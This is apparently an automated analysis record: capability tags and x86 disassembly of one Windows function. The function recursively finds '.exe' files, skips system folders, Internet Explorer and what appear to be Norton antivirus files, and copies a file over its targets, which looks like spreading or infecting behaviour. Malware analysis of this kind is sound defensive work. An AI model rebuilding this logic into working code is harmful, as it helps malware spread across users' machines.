Function at 0x4013fe
Capabilities:
Copy file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, 0x1f4
push edi
push esi
call fcn.00403a50
mov ebx, eax
push esi
mov dword [esp + 0x20], ebx
call fcn.00403a50
push esi
mov dword [esp + 0x1c], eax
call fcn.00403a50
push esi
mov edi, eax
call fcn.00403a50
push dword [esp + 0x34]
mov esi, eax
mov dword [esp + 0x30], esi
push ebx
call fcn.00403960
push str..exe
push ebx
call fcn.00403970
push 0x140
call fcn.00403a50
push dword [0x40ba5c]
mov ebp, eax
push dword [esp + 0x4c]
call fcn.00408000
add esp, 0x2c
test eax, eax
je 0x401739
push dword [0x40ba64]
push dword [esp + 0x28]
call fcn.00408000
pop ecx
test eax, eax
pop ecx
je 0x401739
lea eax, [esp + 0x14]
push str.windows
push eax
mov dword [esp + 0x1c], 7
push dword [esp + 0x2c]
call fcn.00401e27
pop ecx
pop ecx
push eax
call fcn.00408000
pop ecx
test eax, eax
pop ecx
je 0x401739
lea eax, [esp + 0x14]
push str.system32
push eax
mov dword [esp + 0x1c], 8
push dword [esp + 0x2c]
call fcn.00401e27
pop ecx
pop ecx
push eax
call fcn.00408000
pop ecx
test eax, eax
pop ecx
je 0x401739
lea eax, [esp + 0x14]
push str.system
push eax
mov dword [esp + 0x1c], 6
push dword [esp + 0x2c]
call fcn.00401e27
pop ecx
pop ecx
push eax
call fcn.00408000
pop ecx
test eax, eax
pop ecx
je 0x401739
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x14], eax
mov ebx, 0x40b0a8
je 0x401688
lea eax, [ebp + 0x2c]
push str.IEXPLORE.EXE
push eax
call fcn.00408000
pop ecx
test eax, eax
pop ecx
je 0x40166c
lea eax, [ebp + 0x2c]
push str.ccApp.exe
push eax
call fcn.00408000
pop ecx
test eax, eax
pop ecx
je 0x40166c
lea eax, [ebp + 0x2c]
push str.ccRegVfy.exe
push eax
call fcn.00408000
pop ecx
test eax, eax
pop ecx
je 0x40166c
push dword [esp + 0x24]
push edi
call fcn.00403960
push ebx
push edi
call fcn.00403970
lea eax, [ebp + 0x2c]
push eax
push edi
call fcn.00403970
push edi
push esi
call fcn.00403960
add esp, 0x20
push 0x40ba48
push esi
call fcn.004038e0
pop ecx
lea eax, [eax + esi - 3]
push eax
call fcn.00403960
push esi
call fcn.004013b8
add esp, 0xc
test al, al
je 0x4015c0
push esi
call fcn.00401c89
pop ecx
push edi
call fcn.00401909
test al, al
pop ecx
jne 0x40166c
push edi
mov ecx, 0x40ba54
call fcn.00401f1d
test al, al
je 0x40166c
push dword [0x40ba64]
call fcn.004038e0
mov ecx, dword [0x40ba50]
lea eax, [eax + ecx + 0xa]
push eax
call fcn.00403a50
push dword [0x40ba64]
mov esi, eax
push esi
call fcn.00403960
push ebx
push esi
call fcn.00403970
push dword [0x40ba40]
push esi
call fcn.00403970
push 0x40b078
push esi
call fcn.00403970
push 0x40ba4c
push esi
call fcn.00403970
add esp, 0x30
push 0
push esi
push dword [0x40ba60]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
push edi
mov ecx, 0x40ba54
call fcn.0040240b
push edi
push esi
call fcn.00401a79
push esi
call fcn.00401c89
push esi
call fcn.004038d1
mov esi, dword [esp + 0x2c]
add esp, 0x10
push ebp
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x401688
push str.IEXPLORE.EXE
lea eax, [ebp + 0x2c]
jmp 0x401531
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [esp + 0x24]
push dword [esp + 0x1c]
call fcn.00403960
push str..
push dword [esp + 0x24]
call fcn.00403970
add esp, 0x10
push ebp
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0x14], eax
cmp eax, 0xffffffff
je 0x401735
mov eax, dword [ebp]
and eax, 0x10
cmp al, 0x10
jne 0x401726
lea eax, [ebp + 0x2c]
push 0x40b078
push eax
call fcn.00408000
pop ecx
test eax, eax
pop ecx
je 0x401726
lea eax, [ebp + 0x2c]
push 0x40b06c
push eax
call fcn.00408000
pop ecx
test eax, eax
pop ecx
je 0x401726
push dword [esp + 0x24]
push dword [esp + 0x14]
call fcn.00403960
push ebx
push dword [esp + 0x1c]
call fcn.00403970
lea eax, [ebp + 0x2c]
push eax
push dword [esp + 0x24]
call fcn.00403970
push dword [esp + 0x28]
call fcn.004013fe
add esp, 0x1c
push ebp
push dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jmp 0x4016c2
mov ebx, dword [esp + 0x18]
push ebx
call fcn.004038d1
push dword [esp + 0x14]
call fcn.004038d1
push edi
call fcn.004038d1
push esi
call fcn.004038d1
push ebp
call fcn.004038d1
add esp, 0x14
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret